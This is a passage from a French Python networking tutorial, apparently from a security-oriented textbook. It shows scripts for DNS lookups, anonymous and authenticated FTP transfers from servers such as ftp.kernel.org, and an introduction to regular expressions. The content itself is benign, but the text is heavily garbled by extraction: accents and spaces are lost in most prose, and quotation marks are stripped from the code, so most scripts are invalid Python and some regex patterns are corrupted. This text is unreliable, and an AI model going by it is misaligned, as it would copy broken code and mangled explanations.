Une librairie spcialise pour le DNS est disponible, son nom est pythondns. Un simple apt-get install
python.dnspermettradaccderlabibliothque DNSquenouspouvonsimporterdansnotrescript.
chap1_exo15.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import sys, DNS
query=sys.argv[1]
DNS.DiscoverNameServers()
reqobj=DNS.Request()
answerobj=reqobj.req(name=query, qtype=DNS.Type.ANY)
if not len(answerobj.answers):
print "pas trouve"
for item in answerobj.answers:
print "%-5s %s" %(item[typename],item[data])
Rsultatduscript
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo15.py google.fr
NS
ns4.google.com
NS
ns3.google.com
NS
ns2.google.com
NS
ns1.google.com
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo15.py yahoo.fr
NS
ns2.yahoo.com
NS
ns3.yahoo.com
- 5-
NS
ns1.yahoo.com
NS
ns5.yahoo.com
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo15.py univ-valenciennes.fr
NS
titan.univ-valenciennes.fr
NS
pulsar.univ-valenciennes.fr
NS
reserv1.univ-lille1.fr
NS
reserv2.univ-lille1.fr
A
193.50.192.166
MX
(0, titan.univ-valenciennes.fr)
SOA
(univ-valenciennes.fr, pulsar.univ-valenciennes.fr,
(serial, 2011120812), (refresh , 21600, 6 hours), (retry,
3600, 1 hours), (expire, 3600000, 5 weeks), (minimum,
172800, 2 days))
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
La premire chose que nous devons faire dans notre script est dappeler DNS.DiscoverNameServers().
CelavapermettredetrouverlenomduoudesserveursDNScontenusdansvotremachine(dans/etc/resolv.conf
sousLinux).
Nousdevonsensuitecrerunobjetrequtegrcer eqobj=DNS.
Request().
La mthode req de lobjet ainsi cr va permettre deffectuer la requte DNS. Cette mthode prend deux
arguments,lenomdudomainetesteretletypederequte(ANY,MX,A,TXT...).
Un objet rponse sera alors retourn qui nous permettra grce sa mthode answers de rcuprer et
daffichergrcelaboucleforlersultatsouhait.
5.Demandepartirdunserveurspcifi
Nousvoudrionsdoncfairelarequtenonplusduserveurspcifidansnotremachinemaisdirectementsurun
serveurquiaautoritdansledomaine.
IlfautdoncdansunpremiertempsfaireunerequteNSsurledomaineenquestionafindercuprerleserveur
dudomaine.
Unefoislinformationobtenue,nousdevronsessayerchaqueserveurdenomsetutiliserlesrsultatsdupremier
quirpondralademande.
chap1_exo16.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket,sys,DNS
def hierquery(qstring,qtype):
reqobj=DNS.Request()
try:
answerobj=reqobj.req(name=qstring, qtype=qtype)
answers=[x[data] for x in answerobj.answers if
x[type] == qtype]
except DNS.Base.DNSError:
answers=[]
if len(answers):
return answers
else:
remainder=qstring.split(".",1)
if len(remainder) == 1:
return None
- 6-
else:
return hierquery(remainder[1],qtype)
def findnameservers(hostname):
return hierquery(hostname, DNS.Type.NS)
def getrecordsfromnameserver(qstring,qtype,nslist):
for ns in nslist:
reqobj=DNS.Request(server=ns)
try:
answers=reqobj.req(name=qstring,qtype=qtype)
.answers
if len (answers):
return answers
except DNS.Base.DNSError:
pass
return []
def nslookup(qstring,qtype,verbose=-1):
nslist=findnameservers(qstring)
if nslist==None:
raise RunTimeError, "Impossible de trouver de
serveur de noms a utiliser."
if verbose:
print "Utilisation du serveur de noms:",", ".join(nslist)
return getrecordsfromnameserver(qstring,qtype,nslist)
query=sys.argv[1]
DNS.DiscoverNameServers()
answers=nslookup(query, DNS.Type.ANY)
if not len(answers):
print "ne trouve pas."
for item in answers:
print "%-5s %s"%(item[typename],item[data])
Rsultatscriptchap1_exo16.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo16.py univ-valenciennes.fr
Utilisation du serveur de noms: reserv2.univ-lille1.fr, titan.univvalenciennes.fr, pulsar.univ-valenciennes.fr, reserv1.univlille1.fr
SOA
(univ-valenciennes.fr, pulsar.univ-valenciennes.fr,
(serial, 2011121312), (refresh , 21600, 6 hours), (retry,
3600, 1 hours), (expire, 3600000, 5 weeks), (minimum,
172800, 2 days))
NS
reserv2.univ-lille1.fr
NS
reserv1.univ-lille1.fr
NS
titan.univ-valenciennes.fr
NS
pulsar.univ-valenciennes.fr
A
193.50.192.166
MX
(0, titan.univ-valenciennes.fr)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo16.py eni.fr
Utilisation du serveur de noms: ns1.groupe-mit.com, ns2.groupemit.com
ne trouve pas.
Lafonctionnslookup()appellelafonctionfindnameservers()pourobtenirlalistedesserveursdenoms
dudomaine.Cettelisteestutilisepourappeler getrecordsfromnameserver()quiessaielarequtesur
chacundesserveursdelaliste.
6.Miseenformedesrsultatsobtenus
- 7-
Reprenonslescriptprcdentetcronsunnouveauscriptquiutiliseraunepartieduprcdentafindemettreen
formelesrsultatsobtenus.
chap1_exo17.py
#!/usr/bin/env python
#--*--coding : UTF-8 --*-import sys,DNS,chap1_exo16,re
def getreverse(query):
if re.search(\d+\.\d+\.\d+\.\d+$,query):
octets=query.split(.)
octet.reverse()
return ..join(octets)+.IN-ADDR.ARPA
return None
def formatline(index, typename, descr,data):
retval="%-2s %-5s"%(index,typename)
data=data.replace("\n", "\n
")
if descr != None and len(descr):
retval += " %-12s"%(descr + ":")
return retval + " "+data
DNS.DiscoverNameServers()
queries=[(sys.argv[1], DNS.Type.ANY)]
print queries
donequeries=[]
descriptions={"A":"adresse IP","TXT":"Data","PTR":"nom
dhote","CNAME":"Alias pour ","NS":"Serveur de noms"}
while len(queries):
(query,qtype)=queries.pop(0)
print query
print qtype
if query in donequeries:
continue
donequeries.append(query)
print "-"*77
print "Resultats pour %s(lookup type %s)"%
(query,DNS.Type.typestr(qtype))
print
rev=getreverse(query)
if rev:
print "Adresse IP recuperee, lancement du reverse lookup
avec",rev
query=rev
answers=chap1_exo16.nslookup(query,qtype,verbose=0)
if not len(answers):
print "pas trouve"
count =0
for answer in answers:
count +=1
if answer[typename] == MX:
print
formatline(count,answer[typename],Serveur Mail,"%s, priorite
%d"%(answer[data][1],answer[data][0]))
queries.append((answer[data][1],DNS.Type.A))
elif answer[typename]=="SOA":
data="\n"+"\n".join([str(x) for x in
answer[data]])
print formatline(count,SOA,Autorite de
Depart,data)
elif answer[typename] in descriptions:
print
formatline(count,answer[typename],descriptions[answer[typename
]],answer[data])
- 8-
else:
print
formatline(count,answer[typename],None, str(answer[data]))
if answer[typename] in [CNAME,PTR]:
queries.append((answer[data],DNS.Type.ANY))
if answer[typename] == NS:
queries.append((answer[data],DNS.Type.A))
Silonobservelersultatdecescriptsurunsite,nousobtenons :
Rsultatscriptchap1_exo17.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo17.py univ-valenciennes.fr
Utilisation du serveur de noms: reserv2.univ-lille1.fr, titan.univvalenciennes.fr, pulsar.univ-valenciennes.fr, reserv1.univlille1.fr
SOA
(univ-valenciennes.fr, pulsar.univ-valenciennes.fr,
(serial, 2011121401), (refresh , 21600, 6 hours), (retry,
3600, 1 hours), (expire, 3600000, 5 weeks), (minimum,
172800, 2 days))
NS
titan.univ-valenciennes.fr
NS
reserv1.univ-lille1.fr
NS
reserv2.univ-lille1.fr
NS
pulsar.univ-valenciennes.fr
A
193.50.192.166
MX
(0, titan.univ-valenciennes.fr)
[(univ-valenciennes.fr, 255)]
univ-valenciennes.fr
255
------------------------------------------------------------------Resultats pour univ-valenciennes.fr(lookup type ANY)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Nousavonsvuunaperudelabibliothquepythondns.Dautrespossibilitssoffrentnous,maisnousnous
sommeslimitslutilisationpourlascuritinformatique.LeReverseDNSnedevraitenprincipetreaccessible
quen interne de lentreprise. Si cela est possible de lextrieur,ladministrateur rseau devra sinvestir dans la
scurisationdesesserveurs.
- 9-
FTP :FileTransferProtocol
1.Introduction
LestandarddelaRFCestRFC959.
Vouspouvezlatrouversurwww.faqs.org/rfcs/rfc959.html.
VoyonslestapespouruneconnexionFTP :
Premirement,leclientFTPtablitunedemandedeconnexionsurleportduserveurFTP.
Leclientsauthentifie.
Leclientcommencecouterlesdonnesdeconnexionsurunnouveauportetinformeleserveurque
cenouveauportestouvert.
Leserveurseconnectesurleportduclient.
Lefichierestensuitetransmisetlaconnexiondedonnesestferme.
La premire approche de ltude du FTP avec Python va tre une tentative de connexion sur un serveur FTP
acceptantlesconnexionsanonymes.
Grce aux recherches Google, vous pourrez trouver de nombreux sites sur lesquels vous pourrez tester vos
programmes.
Vous pouvez aussi installer sur votre machine un serveur FTP tel que Ability Server sous Windows ou VsFtpd
sousLinux.
2.FTPanonyme
chap1_exo18.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.obspm.fr)
print "Bonjour: ",f.getwelcome()
f.login()
print "CWD:",f.pwd()
f.quit()
Nousutilisonsdonclabibliothqueftplib.
CellecicontientunemthodeFTP.
La connexion au site est assez simple, il suffit de crer un objet ftp appel f et de lui donner en paramtre
ladressedusitedsir.
Lamthodegetwelcome()permetdercuprerlabannirerenvoyeparleserveurFTPlorsdelaconnexion.
Lafonctionlogin()peutprendreplusieursparamtrestelsquelenomdutilisateur,lemotdepasse.Appele
sansparamtres,elleenvoiecommeutilisateuranonymousetunmotdepassegnriqueauserveurFTP.
PWD()permetdevoirlerpertoirecourantdusiteFTPdistant.
- 1-
Lamthodequit()permetdefermerproprementlaconnexiontablieplushaut.
Rsultatdechap1_exo18.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo18.py
Bonjour: 220 ftp.obspm.fr FTP server ready.
CWD: /
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
3.TlchargementdefichiersASCII
AvecFTP,onpeuttlchargerenmodeASCIIoubinaire(image,fichiersPDF,excutables...).
EnmodeASCII,lesfichierssonttransfrsligneparligne,cequipermetauclientdestockerlefichieravecles
finsdelignesappropriesausystme.
chap1_exo19.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
def writeline(data):
fd.write(data+"\n")
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel)
fd=open(README,wt)
f.retrlines(RETR README,writeline)
fd.close()
f.quit()
Lacommandecwd()permetdechangerderpertoire.
Mthoderetrlines()
Lepremierparamtrespcifieunecommandelancersurlesystmedistant(ici RETRsuividunomde
fichier).
Lesecondparamtreestunefonctionquipermetdcrirechaquelignereueenplaantunretourla
lignelafin.Sionneplacepasdesecondparamtre,leslignessontafficheslcran.
Rsultatduscriptchap1_exo19.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo19.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ ls
chap1_exo10.py
chap1_exo13.py
chap1_exo16.py
chap1_exo18.py chap1_exo3.py chap1_exo6.py chap1_exo9.py
chap1_exo11.py
chap1_exo14.py
chap1_exo16.pyc
chap1_exo19.py chap1_exo4.py chap1_exo7.py index.html
chap1_exo12.py
chap1_exo15.py
chap1_exo17.py
chap1_exo2.py
chap1_exo5.py
chap1_exo8.py README
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ more README
Linux kernel release 2.0.xx
- 2-
WHAT IS LINUX?
Linux is a Unix clone written from scratch by Linus Torvalds
with assistance from a loosely-knit team of hackers
across the Net.
It aims towards POSIX compliance.
It has all the features you would expect in a modern
fully-fledged Unix, including true multitasking,
virtual memory, shared libraries, demand loading,
shared copy-on-write executables, proper memory management and TCP/
IP networking.
It is distributed under the GNU General Public License - see the
accompanying COPYING file for more details.
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Nous avons grce ce script tabli une connexion anonyme sur ftp.kernel.org, puis nous avons chang de
rpertoire(f.cwd(/pub/linux/kernel).
NouspouvonsenfinrcuprerlefichierASCIIappelREADMEgrcef.retrlines().
Lafonctionwriteline()permetdepasserlaligneaprschaquephrase.
Commentcelavatilsepasserpourunchargementdefichierenmodebinaire ?
4.Tlchargementdefichiersbinaires
chap1_exo20.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel/v1.0)
fd=open(patch8.gz,wb)
f.retrbinary(RETR patch8.gz,fd.write)
fd.close()
f.quit()
Pasdegrossesdiffrencesiciparrapportauscriptprcdent.
En lieu et place de f.retrlines(), nous utiliserons la mthode f.retrbinary() qui permet donc le
rapatriementdefichiersbinaires.
Ilaurafallubiensraupralableouvrirunfichier(patch8.gz)enmodebinaireetencriture.
5.Tlchargementavancdefichiersbinaires
chap1_exo20.py
- 3-
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
import sys
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel/v1.0)
f.voidcmd("TYPE I")
datasock,estsize=f.ntransfercmd("RETR linux-1.0.tar.gz")
transbytes=0
fd=open(linux-1.0.tar.gz,wb)
while 1:
buf=datasock.recv(2048)
if not len(buf):
break
fd.write(buf)
transbytes +=len(buf)
print "Reception de %d" %transbytes
if estsize:
print " sur %d octets (%.1f%%)\r"%
(estsize,100.0*float(transbytes)/float(estsize))
else:
print "octets\r"
print "\n"
fd.close()
datasock.close()
f.voidresp()
f.quit()
ntransfercmd():permetdeconnatrelenombredoctetstransfrs onpeutdoncutilisercetteinformation
pourafficherlavancement.
voidcmd():permetdepasserunecommandeftpdirectementauserveur,vrifiesilyadeserreursmaisne
retournerien.Pourcela,indiquerTYPEI,cequiinitialiseletransfertpouruneimageouunfichierbinaire.
voidresp():litlarponseduserveuretgnreuneexceptionsilyauneerreur.
Rsultatduscriptchap1_exo20.py
Reception de 1251072
sur 1259161 octets (99.4%)
Reception de 1252520
sur 1259161 octets (99.5%)
Reception de 1253968
sur 1259161 octets (99.6%)
Reception de 1255416
sur 1259161 octets (99.7%)
Reception de 1256864
sur 1259161 octets (99.8%)
Reception de 1258312
sur 1259161 octets (99.9%)
Reception de 1259161
sur 1259161 octets (100.0%)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
- 4-
Nouspouvonsdoncobtenirgrcecescommandesuntatdavancementdutlchargement.
6.Envoidedonnes
chap1_exo21.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
import sys, getpass, os.path
host, username,localfile, remotepath=sys.argv[1:]
password=getpass.getpass("Entrez le mot de passe pour %s sur %s"%
(username, host))
f=FTP(host)
f.login(username,password)
f.cwd(remotepath)
fd=open(localfile,rb)
f.storbinary(STOR %s%os.path.basename(localfile),fd)
fd.close()
f.quit()
Lamthodestorbinary()vanouspermettredenvoyerunfichiersurleserveurFTPdansundossierspcifi
ilfautbiensrquenousayonslesdroitsdcriturecetemplacement.
Pourlancercescript,nousdevronsdonnerenargumentsladresseduserveurFTP,lidentifiantdeconnexion,le
fichiercharger(survotremachinelocaledonc)etlecheminonoussouhaitonsdposercefichier.
Nous ne sommes plus ici anonyme. Cest pourquoi nous allons devoir entrer notre mot de passe aprs la
validation de lidentifiant.Celaseferagrce getpass.getpass() qui va rcuprer le mot de passe entr
parlutilisateuretparf.login()danslequelnousindiqueronslidentifiantetlemotdepasse.
Lesautrescommandesonttvuesprcdemment.
Rsultatduscriptchap1_exo21.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo21.py 127.0.0.1 fasm chap1_exo20.py . Entrez le mot de
passe pour fasm sur 127.0.0.1
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ ls
/home/fasm/ | grep cha
challenges
chap1_exo20.py
Telechargements
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Nousvoyonsdanslexemplecidessuslesuccsdutransferteffectu.
7.LeserreursFTP
Vouspouvezutiliserftplib.all_errors.
try :
Instructions
except ftplib.all_errors:
instructions
- 5-
all_errors permet de rcuprer toute erreur de connexion. Cela inclut les quatre exceptions suivantes et
IOError(erreurdentresortie):
error_reply:rponseduserveurinattendue.
error_temp:lorsquuneerreurdelaplage400499estreue.
error_perm:lorsquuneerreurdelaplage500599estreue.
error-proto : quand une rponse du serveur est reue qui ne commence pas par un digit compris
entre1et5.
8.Listerlecontenudesrpertoires
Deuxfonctionssontutilisables:nlst()etdir().
nlst():retourneunelistedesnomsdesrpertoiresetdesfichiersprsentsdanslerpertoiredonn,mais
nousnesavonspassiunlmentdelalisteestunrpertoire,unfichier,sataille...
dir():retourneunelistedesrpertoiresquicontientlenom,lataille,ladatedemodificationetletype(ls al).
chap1_exo22.py :exempleavecnlst()
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel)
entre=f.nlst()
entre.sort()
print "%d entrees:"%len(entre)
for item in entre:
print item
f.quit()
Rsultatduscriptchap1_exo22.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo22.py
25 entrees:
COPYING
CREDITS
Historic
README
SillySounds
crypto
next
people
ports
projects
testing
uemacs
v1.0
v1.1
v1.2
v1.3
v2.0
v2.1
v2.2
- 6-
v2.3
v2.4
v2.5
v2.6
v3.0
v3.x
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
chap1_exo23.py :exempleavecdir()
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel)
entre=[]
f.dir(entre.append)
print "%d entrees:"%len(entre)
for item in entre:
print item
f.quit()
Rsultatduscriptcap1_exo23.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo23.py
25 entrees:
-r--r--r-1 536
536
18458 Mar 13 1994 COPYING
-r--r--r-1 536
536
36981 Sep 16 1996 CREDITS
drwxrwsr-x
4 536
536
4096 Mar 20 2003 Historic
-r--r--r-1 536
536
12056 Sep 16 1996 README
drwxrwsr-x
2 536
536
4096 Apr 14 2000 SillySounds
drwxrwsr-x
5 536
536
4096 Nov 24 2001 crypto
drwxr-sr-x
2 536
536
4096 Dec 14 07:23 next
drwxr-sr-x 392 536
536
12288 Nov 29 23:44 people
drwxrwsr-x
6 536
536
4096 Mar 13 2003 ports
drwxr-sr-x
6 536
536
4096 Nov 04 17:02 projects
drwxrwsr-x
3 536
536
4096 Feb 14 2002 testing
drwxrwsr-x
2 536
536
4096 Mar 20 2003 uemacs
drwxrwsr-x
2 536
536
4096 Mar 20 2003 v1.0
drwxrwsr-x
2 536
536
36864 Mar 20 2003 v1.1
drwxrwsr-x
2 536
536
12288 Mar 20 2003 v1.2
drwxrwsr-x
2 536
536
69632 Mar 20 2003 v1.3
drwxrwsr-x
3 536
536
32768 Feb 08 2004 v2.0
drwxrwsr-x
2 536
536
81920 Mar 20 2003 v2.1
drwxrwsr-x
3 536
536
20480 Mar 24 2004 v2.2
drwxrwsr-x
2 536
536
36864 Mar 20 2003 v2.3
drwxrwsr-x
5 536
536
24576 Dec 18 2010 v2.4
drwxrwsr-x
4 536
536
57344 Jul 14 2003 v2.5
drwxr-sr-x
10 536
536
77824 Nov 07 21:19 v2.6
lrwxrwxrwx
1 536
536
4 Oct 11 22:41 v3.0 -> v3.x
drwxr-sr-x
5 536
536
12288 Dec 09 17:21 v3.x
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
9.Lesautrescommandesutiles
Supprimerdesfichiersetrpertoires
- 7-
Vouspouvezutilisersoitdelete(),soitrmd().
delete():effacelesfichiers.
delete()retournelenomdufichiersicelaarussi,nouspouvonsdonccomplterparceci:
delete = f.delete(effacer)
print delete
rmd():effacelesrpertoires.
Crerdesrpertoires
mkd()permetdecrerunrpertoiresurleserveur.
Renommerdesfichiers
Lamthoderename()vanouspermettrederenommerlesfichiersoudossiers.
10.Tlchargerrcursivementdesdonnes
Nouspouvonsmaintenantdposeretrcuprerdesfichiersmaiscommentallonsnousfairesinoussouhaitons
rcuprerundossieravecdessousdossiers etdesfichiers ?
chap1_exo24.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-from ftplib import FTP
import os,sys
class DirEntry:
def __init__(self, line):
self.parts=line.split(None,8)
- 8-
def isvalid(self):
return len(self.parts) >= 6
def gettype(self):
return self.parts[0][0]
def getfilename(self):
if self.gettype() != l:
return self.parts[-1]
else:
return self.parts[-1].split( -> ,1)[0]
def getlinkdest(self):
if self.gettype()==l:
return self.parts[-1].split( -> ,1)[1]
else:
raise RuntimeError,"erreur dappel de
getlinkdest() "
class DirScanner(dict):
def addline(self,line):
obj=DirEntry(line)
if obj.isvalid():
self[obj.getfilename()]=obj
def downloadfile(ftpobj,filename):
ftpobj.voidcmd("TYPE I")
datasock, estsize=ftpobj.ntransfercmd("RETR %s"%filename)
transbytes = 0
fd=open(filename,wb)
while 1:
buf=datasock.recv(2048)
if not len(buf):
break
fd.write(buf)
transbytes += len(buf)
sys.stdout.write("%s: reception de %d "%
(filename,transbytes))
if estsize:
sys.stdout.write("sur %d octets (%.1f%
%)\r"%(estsize,100.0 * float(transbytes)/float(est$
else:
sys.stdout.write("octets\r")
fd.close()
datasock.close()
ftpobj.voidresp()
sys.stdout.write("\n")
def downloaddir(ftpobj,localpath,remotepath):
print "**** repertoire en cours ", remotepath
localpath=os.path.abspath(localpath)
oldlocaldir=os.getcwd()
if not os.path.isdir(localpath):
os.mkdir(localpath)
olddir=ftpobj.pwd()
try:
os.chdir(localpath)
ftpobj.cwd(remotepath)
d=DirScanner()
f.dir(d.addline)
for filename, entryobj in d.items():
if entryobj.gettype() == -:
downloadfile(ftpobj,filename)
elif entryobj.gettype() == d:
downloaddir(ftpobj, localpath +
/+filename,remotepath+ / +filename)
print "**** repertoire en cours
",remotepath
finally:
os.chdir(oldlocaldir)
ftpobj.cwd(olddir)
- 9-
f=FTP(ftp.kernel.org)
f.login()
downloaddir(f,old-versions,/pub/linux/kernel/Historic/oldversions)
f.quit()
Danscescript,aprslaconnexionsurleserveurdistant,nouscronslesrpertoiresduserveurdistantsurnotre
machineenvrifiantleurexistencelocale.Puisnousrcupronslesfichiersunun.Sinousrencontronsdansce
rpertoireunautrerpertoire,nousprocdonsdelammemanire,noustravaillons doncrcursivement.Lebut
tantdecrerlarborescencedistantesurnotremachineenlocalsanscopierde"doublons".
Rsultatduscriptchap1_exo24.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples/ftp$
./chap1_exo24.py
**** repertoire en cours /pub/linux/kernel/Historic/old-versions
linux-0.96b.patch2.gz: reception de 5825 sur 5825 octets (100.0%)
RELNOTES-0.95a: reception de 6257 sur 6257 octets (100.0%)
linux-0.96c.patch2: reception de 155717 sur 155717 octets (100.0%)
linux-0.96a.patch3.sign: reception de 248 sur 248 octets (100.0%)
linux-0.96b.tar.gz.sign: reception de 248 sur 248 octets (100.0%)
linux-0.12.tar.gz: reception de 132391 sur 132391 octets (100.0%)
linux-0.95.tar.sign: reception de 248 sur 248 octets (100.0%)
**** repertoire en cours /pub/linux/kernel/Historic/oldversions/tytso
linux-0.10.tar.gz.sign: reception de 248 sur 248 octets (100.0%)
linux-0.10.tar.sign: reception de 248 sur 248 octets (100.0%)
linux-0.10.tar.gz: reception de 123051 sur 123051 octets (100.0%)
**** repertoire en cours /pub/linux/kernel/Historic/old-versions
linux-0.96a.patch3.gz.sign: reception de 248 sur 248 octets
(100.0%)
linux-0.96b.patch1.gz: reception de 6672 sur 6672 octets (100.0%)
Cescriptestunecompilationdecequenousavonsvuprcdemment.
- 10 -
Lesexpressionsrgulires
1.Introduction
Comprendrelesmotsetjongleravecceuxciestunechoseimpossiblepournosordinateurs.Paradoxalquandon
saitquecesdernierssontlorigineconuspourtraiterlinformation.Pourremdiercela,ilafallupenserun
outil, aussi puissant que les traitements sont complexes, pour comprendre des objets comme des mots et
effectuersurceuxcidestraitements,lesregex(expressionsrgulires).
Nousauronsbesointrssouventdefiltrerlesinformations,depouvoirfaireressortirllmentimportantdune
page web par exemple, ou les sousdomaines dfinis dans la page, ou les mails des employs contenus dans
unepage.
Pour cela, nous aurons besoin des expressions rgulires. Une expression rationnelle ou expression rgulire
est en informatique une chane de caractres que lon appelle parfois un motif et qui dcrit un ensemble de
chanesdecaractrespossibles,selonunesyntaxeprcise.
Parexemple,nouspourrionspenserlADN :lareprsentationdelcritureressembleraitunesuitedeA,deG,
deTetdeC(pourreprsenterlesbasesazotesquesontlAdnine,laGuanine,laThymineetlaCytosine).
Ainsipourvrifierquunechanedecaractrescorrespondladescriptiondun brin dADN,ilfautquelachane
vrifie la proposition chaque caractre de cette chane appartient exclusivement au groupe compos des
lettresA,C,G,T .
Cest un exemple simple dexpression rgulire, nous allons maintenant dfinir les termes utiliss. Nous
parlerons dabord de chane de caractres, ce qui se passe de commentaire. Nous dirons dune chane de
caractresquellecorrespond ounonuneexpressionrgulire.
ATCGCT correspondnotreexpressionrgulirealorsque ATBDKL neluicorrespondpas.
Nous pouvons aussi parler de correspondance dune expression rgulire une chane de caractres. Cela
sexprimeparleverbetomatchenanglais.
Biensr,lecasolachaneentirecorrespondantlexpressionrgulirenestpastoujoursvrai,maissiune
souschanecorrespond,nousparleronsalorsdecorrespondancedunepartiedelachanelaregex.
Uneexpressionrgulirepeutavoir,ensimplifiant,troisfonctions :
testerlaprsencedunechanecorrespondantuneexpression,
rcuprerunechanecorrespondantuneexpression,
remplacerdutextecorrespondantuneexpression.
2.Lemodulere
Lesexpressionsrguliressontgresparlemodulere.
Ilseradoncncessairedimportercemodule
import re
Le module re vous permet dutiliser des expressions rgulires au sein de Python. Cet outil puissant est
compltementincontournablelorsquonveutallerrcuprerdesinformationsdansunfichier.
- 1-
Pour crer une expression rgulire, nous devrons faire appel re.compile(). Nous passerons cette
fonction lexpression rgulire. La chane fournie doit tre au format brut, cestdire que plutt que de
lencadreravecdesguillemetsilfaudraquelledbutepar r,lerdsignantraw(brutenanglais).
Ceci pour viter que Python interprte le \ comme caractre dchappement et plus gnralement pour viter
quePythonnetentedetraitementinternesurlachane.
Ilutilisedonclachanebrute tellequelle.
ma_premiere_regex=re.compile(r[ACGT]+)
NousvenonscidessusdedfinirunepartiedebrindADN.Maisnousyreviendrons unpeuplustard.
3.Lesmthodesutiles
Lamthodesearchvouspermetderechercherunpatternauseindunechanedecaractresavecunesyntaxe
delaformesearch(pattern, string).
Sipatternexistedansstring,PythonrenvoieuneinstanceMatchObjectsansrentrerdanslesdtailspropres
aulangageorientobjet,sionutilisecetteinstancedansuntest,ilseraconsidrcommevrai.
a.Lamthodesearch()
Il est noter quil existe aussi dans le module re la mthode match() qui fonctionne sur le modle de
search().
LadiffrenceestquellerenvoieuneinstanceMatchObjectseulementlorsquelexpressionrgulirecorrespond
audbutdelachane(partirdupremiercaractre).
ReprenonslecasdenotreADN:
Aprsavoircrnotreregexparlamthodere.compile(),nousluidemandonsdetester,grcelappel
- 2-
search(),laprsencedechaneluicorrespondant.
Si tel est le cas, searchrenvoieunobjetquinest pas nul, donc le test if est valid et nous affichons un
message.
b.Lamthodematch()
Il est aussi commode de compiler pralablement lexpression rgulire laide de la mthode compile qui
renvoieunobjetdetypeexpressionrgulire:
>>> import re
>>> regex=re.compile(([0-9]+)\.([0-9]+))
>>> MATCH=regex.search("pi:3.1415926535897931")
>>> MATCH.group(0)
3.1415926535897931
>>> MATCH.group(1)
3
>>> MATCH.group(2)
1415926535897931
>>> MATCH.start()
3
>>> MATCH.end()
21
>>>
Nousnousapercevonssurcetexemplequelutilisationdelafonction group()suruneinstanceMatchObject
permet de rcuprer les zones situes entre parenthses. Les fonctions start() et end() donnent
respectivementlapositiondedbutetdefindelazonequicorrespondlaregex.
Ilestimportantdenoterquelamthodesearch()nerenvoiequelapremirezonequicorrespond,mmesil
enexisteplusieurs:
Si nous voulons rcuprer chaque zone, nous pouvons utiliser la mthode findall() qui renvoie un tuple
aveclensembledeceszones:
c.Mthodesub()
Enfin,lamthode sub(repl,string)permetdeffectuerdesremplacementsassezpuissants.Pardfautla
- 3-
fonction sub() remplace toutes les occurrences de la regex si nous ne souhaitons que les n premires
occurrences,nouspouvonsutiliserlargumentcount=n:
AvecnotrecasdelADN,celavadonner :
CescriptaurapoureffetdesubstituertoutextraitdADNparlemessage extraitdADNconfidentiel .
Lappel sub()varemplacer,danslachaneplaceenargument,toutechanecorrespondantlexpression
rgulireparcellespcifiedanslepremierargument.
d.Allerplusloinaveclesgroupes
#!/usr/bin/env python
#coding:utf-8
import re
phrase="febel@eni.fr"
ma_regex=re.compile(r"(\w+)@(\w+\.[a-zA-Z]{2,3})")
groupes=ma_regex.search(phrase)
print "User : ",groupes.group(1)
print "Domain : ",groupes.group(2)
Nousobservonsdesparenthsesquivontpermettredercuprerdansunpremiertempslegroupe \w+
quidsignelenomdutilisateur(febel)puislegroupe \w+\.[azAZ]{2,3} quireprsenteledomaine.
Nousdevonsdanscetteexpressionchapperle . cestpourquoinousretrouvonsle \. .
Lesparenthsesontalorsdeuxutilitsdanslesregex :
grouperdessymboles
permettrelextractiondemorceauxdexpressions.
- 4-
[esx]:e,soux.voi[esx]marcheraitavecvoie,voisetvoix.
[09]:porte.Letraitdunionsignifie
:09,surdesvaleursASCII.
[09afAF]:nombrehexadcimal.
[09afxAFX]:nombrehexadcimaloulettrex.
q[u]:signifie Nestpas
q(?!u):qpassuiviparu.
q(?=u):rechercheunqsuiviparunu,maisneretournerapasleu.
q(?=(regex)):rechercheqsuividuneexpressionrgulire.
(?<=u)q:sortqsilestprcdparu.
(?<!u)q:sortqsilnestpasprcdparu.
.qsuividenimportequelcaractresaufu.
(?:u)q : recherche uq, mais ne retourne pas le u. Exemple : dans Mark O. Samson, pour avoir le
nomdefamilleetleprnom,maisensautantledeuximeprnompourlerendreoptionnel : ([azAZ]
+)(?: [azAZ.]+)? ([azAZ]+)
